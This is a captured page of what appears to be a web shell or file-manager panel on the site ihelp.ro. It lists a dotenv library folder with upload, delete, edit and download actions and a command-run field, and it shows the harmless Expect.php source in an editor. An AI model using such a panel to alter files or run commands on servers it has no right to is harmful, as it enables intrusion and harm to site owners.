/
var
/
www
/
vhosts
/
ihelp.ro
/
httpdocs
/
vendor
/
josegonzalez
/
dotenv
/
src
/
josegonzalez
/
Dotenv
/
/var/www/vhosts/ihelp.ro/httpdocs/vendor/josegonzalez/dotenv/src/josegonzalez/Dotenv
mkdir
upload
Name
Size
Mode
Actions
Filter/
-
0755
rm
Expect.php
1209
0644
edit
dl
rm
Loader.php
11535
0644
edit
dl
rm
Edit:
/var/www/vhosts/ihelp.ro/httpdocs/vendor/josegonzalez/dotenv/src/josegonzalez/Dotenv/Expect.php
(1209B)
<?php namespace josegonzalez\Dotenv; use LogicException; use RuntimeException; class Expect { protected $raise = true; public function __construct($environment, $raise = true) { $this->environment = $environment; $this->raise = $raise; } public function __invoke() { $args = func_get_args(); if (count($args) == 0) { return $this->raise('LogicException', 'No arguments were passed to expect()'); } if (isset($args[0]) && is_array($args[0])) { $args = $args[0]; } $keys = (array) $args; $missingEnvs = array(); foreach ($keys as $key) { if (!isset($this->environment[$key])) { $missingEnvs[] = $key; } } if (!empty($missingEnvs)) { return $this->raise( 'RuntimeException', sprintf("Required ENV vars missing: ['%s']", implode("', '", $missingEnvs)) ); } return true; } protected function raise($exception, $message) { if ($this->raise) { throw new $exception($message); } return false; } }
Save
cmd:
run